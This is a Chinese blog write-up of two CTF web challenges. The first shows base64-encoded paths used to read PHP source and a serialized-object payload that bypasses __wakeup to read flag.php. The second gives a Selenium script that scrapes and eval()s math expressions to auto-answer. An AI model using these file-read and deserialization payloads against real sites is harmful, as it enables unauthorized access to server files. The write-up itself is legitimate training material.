zoukankan      html  css  js  c++  java
  • 两道CTF Web的题目

    easyphp

    题目描述

    题目首先是一张不存在的图片

    查看源码发现只有一句话

    <img src="show.php?img=aGludC5qcGc=" width="100%"/>

    点开源码中图片的链接,跳转到下面的页面

    img 后面的内容很像是 base64 编码,经过解码验证,确实是 base64 编码,还原后是 hint.jpg 。

    尝试把 img 后面的参数用 flag.jpg、flag.php、flag 的base64编码代替后访问,并没有获取到有价值内容

    直接访问 index.php 或者 show.php 也看不到任何东西,所以看看能不能利用 img 这个参数读取两个php源码

    index.php 的 base64编码为 aW5kZXgucGhw

    show.php 的 base64 编码为 c2hvdy5waHA=

    经过尝试后,这时通过源码已经可以读取到内容,内容分别如下

    index.php

    <?php 
      require_once('hint.php');
      $x = new hint();
      isset($_GET['class']) && $g = $_GET['class'];
      if (!empty($g)) {
        $x = unserialize($g);
        echo $x;
      }
    ?>
    <img src="show.php?img=aGludC5qcGc=" width="100%"/>

    show.php

    <?php
      $f = $_GET['img'];
      if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\')===FALSE
        && stripos($f,'flag')===FALSE) {
          readfile($f);
        } else {
          echo "File not found!";
        }
      }
    ?>

    从 index.php 的源码里看到还有个 hint.php,用同样的方法读取,内容如下

    hint.php 的 base64 编码为 aGludC5waHA=

    <?php
      error_reporting(0);
        //flag is in flag.php
        class hint{ 
        public $file='';
        function __destruct(){ 
          if(!empty($this->file)) {
           if(strchr($this-> file,"\")===false &&  strchr($this->file, '/')===false)
              show_source(dirname (__FILE__).'/'.$this ->file);
           else      die('Wrong filename.');
          }}  
        function __wakeup(){ $this-> file='index.php'; } 
        public function __toString(){return '' ;}} 
    ?>

    代码审计

    hint.php 里面告诉我们 flag 在 flag.php中,所以我们要尝试去读取到这个 php 文件

    show.php 里面用 stripos 限制了我们读取的内容,我们不能通过 show.php 的方式来读取到 flag.php

    hint 里面定义了一个 hint 类,这个类有个 show_source(dirname (__FILE__).'/'.$this ->file); 方法,可以读取我们的 php 文件

    而在 index.php 里面用到了 unserialize() 函数,用来反序列化一个 hint 对象,我们可以尝试使用反序列化的方式来读取 flag.php

    Payload构造

    将 hint.php 复制到本地,然后添加下面几行代码,通过网页取得序列化后的字符串

    $x=new hint();
    $x->file="flag.php";
    echo serialize($x);

    O:4:"hint":1:{s:4:"file";s:8:"flag.php";}

    序列化字符串的含义可以参考:https://www.cnblogs.com/dogecheng/p/11652022.html

    根据 index.php 的源码,我们把这个字符串赋值给 class 就好了,但是并没有取得 flag

    在网上查询了一些资料后得知,通过 unserialize 反序列化之后,还会调用 __wakeup() 方法,它会把 file 设为 index.php,所以读取的并不是 flag.php

    https://blog.csdn.net/bylfsj/article/details/101385852

    我们需要绕过 __wakeup() 函数,但是绕过方法很简单。当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。

    我们原来的序列化字符串为:

    O:4:"hint":1:{s:4:"file";s:8:"flag.php";}

    我们只需要把 1 改成比它大的数字即可

    O:4:"hint":2:{s:4:"file";s:8:"flag.php";}

    这时候重新提交请求就能获得 flag 了

    calculate

    题目描述

    题目如下

    要求我们回答10道计算题。经过测试,每道题要在3秒内答对,答错或超时清零回答正确的问题个数。而且答题间隔要在1秒以上

    页面源码如下,计算表达式 都在 div 中

    <h1>calculate</h1>
    
    <p>Answer the questions for 10 times and you can get flag.</p>
    <p> You Have answered 0銆€questions;</p>
    
    <form action="" method="post">
    <div style="display:inline;color:#499E86">6</div><div style="display:inline;color:#BC2109">1</div><div style="display:inline;color:#E20AAD">5</div><div style="display:inline;color:#AE2893">+</div><div style="display:inline;color:#A3A7DA">9</div><div style="display:inline;color:#72311C">9</div><div style="display:inline;color:#7D99E9">7</div><div style="display:inline;color:#3DB475">+</div><div style="display:inline;color:#2144AE">6</div><div style="display:inline;color:#8523C0">1</div><div style="display:inline;color:#D42154">5</div><div style="display:inline;color:#DD166F">*</div><div style="display:inline;color:#0ADBF4">9</div><div style="display:inline;color:#116660">9</div><div style="display:inline;color:#4F6723">7</div><div style="display:inline;color:#7F7A0D">=</div>
    <input type="text" name="ans">
    <input type="submit" value="send!">
    </form>

    脚本编写

    一开始用 python 的 requests 库来做,没有成功,自己的代码估计有小BUG,后来改用 selenium 来做就成功了 ,代码如下:

    from selenium import webdriver
    from bs4 import BeautifulSoup
    import time
    
    driver=webdriver.Firefox()
    driver.get("http://****:13002/")
    
    def submit(driver):
        # 获取源码
        source = driver.page_source
        # BeautifulSoup解析
        soup = BeautifulSoup(source, "lxml")
        all_div = soup.find_all(name="div")
    
        # 获取表达式
        s = ""
        for i in all_div:
            s = s + i.contents[0]
        # 去掉等号
        s = s[:-1]
        print(s)
    
        # 计算
        res = eval(s)
    
        # 填入答案
        element = driver.find_element_by_name("ans")
        element.send_keys(res)
    
        # 等待 1.1 秒    
        time.sleep(1.1)
        
        # 提交答案 
        driver.find_element_by_xpath("/html/body/form/input[2]").click()
        print("click")
    
    for i in range(10):
        submit(driver)

    回答 10 次后在页面上就会出现 flag 

  • 相关阅读:
    静态方法、类方法、属性方法
    B-tree/B+tree
    支付宝
    七牛云上传视频3
    测试理论
    测试理论
    Xshell上传文件
    iptables增加、删除、修改、查询、保存防火墙策略教程
    docker私有仓库常用命令
    centos7修改主机名
  • 原文地址:https://www.cnblogs.com/dogecheng/p/11729653.html
Copyright © 2011-2022 走看看